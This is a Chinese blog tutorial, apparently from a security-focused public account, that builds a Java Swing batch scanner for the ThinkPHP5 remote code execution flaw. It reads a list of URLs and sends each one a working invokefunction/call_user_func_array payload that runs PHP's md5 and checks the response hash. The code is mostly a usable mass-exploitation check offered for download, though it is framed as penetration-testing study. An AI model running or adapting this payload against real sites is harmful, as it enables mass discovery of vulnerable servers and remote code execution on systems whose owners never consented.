大家好又是俺,暗月大徒弟,跟暗月大师傅苦学了半年,保持天天学习,顺便做点记录什么的。最近跟着月师傅学习了java编写exp的知识,上一篇介绍了单个网址进行检测的工具编写,这次弄个批量的,批量的需求挺大的。稍微改一下脚本即可。
1批量思路
批量:就是读取文本内容 遍历每行的内容再进行测试。
文本读取->遍历网址->测试
代码
package exp;import java.io.*;
public class test {
public static void main(String[] args) throws Exception {InputStreamReader br = new InputStreamReader(new FileInputStream(new File("D:\\tools\\javagui\\src\\main\\java\\exp\\url.txt")), "UTF-8");
BufferedReader reader = new BufferedReader(br);
String str;while ((str = reader.readLine()) != null) {
System.out.println(str);
}
}
}
效果
2编写批量
界面跟上一篇界面差不多 只是多了个按钮和文件选择框。代码有详细说明
package exp;
import com.github.kevinsawicki.http.HttpRequest;
import javax.swing.*;
import java.io.*;
import java.net.URISyntaxException;public class tp5rce {
public static void main(String[] args) throws URISyntaxException, UnsupportedEncodingException {
JFrame frame = new JFrame("暗月大徒弟 thinkphp5 rce批量 师承暗月大师傅");
frame.setBounds(500,500,650,500);
frame.setLayout(null);
JLabel jLabel = new JLabel("导入URL:");
jLabel.setBounds(10,10,100,50);
JButton btnEnter = new JButton("检测");
JButton btnURL = new JButton("点击导入URL");
JLabel mLabel = new JLabel("返回信息:");
JTextField jTextField = new JTextField();
JTextArea jTextArea = new JTextArea();
jTextArea.setLineWrap(true);
jTextArea.setBounds(70,80,500,300);
jTextField.setBounds(70,10,250,50);
mLabel.setBounds(10,70,100,50);
btnEnter.setBounds(460,10,100,50);
btnURL.setBounds(330,10,100,50);
frame.add(btnEnter);
frame.add(btnURL);
frame.add(jLabel);
frame.add(mLabel);
frame.add(jTextField);
frame.add(jTextArea);
frame.setVisible(true);
//上面这个部分都是界面frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
btnURL.addActionListener(e -> {
JFileChooser chooser = new JFileChooser(); //创建选择框
chooser.showOpenDialog(null);
String filePath=chooser.getSelectedFile().getAbsolutePath(); //获取文件路径
jTextField.setText(filePath); //设置文本框});
btnEnter.addActionListener(e -> {
if(jTextField.getText().trim().equals("")){//判断文本是否为空
JOptionPane.showMessageDialog(frame, "导入的文本不能为空", "标题",JOptionPane.WARNING_MESSAGE);
}
File file = new File(jTextField.getText().trim());try{
//读取文本
InputStreamReader br = new InputStreamReader(new FileInputStream(file), "UTF-8");
BufferedReader reader = new BufferedReader(br);
String str;while ((str = reader.readLine()) != null) { //循环读取测试
jTextArea.append("正在测试:"+str+"\n");
jTextArea.append(result(str));
}}catch (IOException e1){
e1.printStackTrace();
}});
}
public static String result(String url){
String payload = "/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=1";
try {
if (vulTest(url,payload)==true){
return "存在漏洞 \n"+"测试语句: "+payload+"\n";
}
} catch (Exception e) {
e.printStackTrace();
}
return "不存在漏洞\n";
}public static Boolean vulTest(String url,String payload) throws Exception{
String checkstr = "c4ca4238a0b923820dcc509a6f75849b"; //md5 检测值
HttpRequest req = HttpRequest.get(url+payload);
if( req.body().contains(checkstr)){
return true;
}
return false;
}}
编译测试
打包jar
想要此工具 关注公众号 回复 月师傅666 即可获取
3关注
长期更新渗透测试、WEB安全、代码审计、红蓝对抗等安全技术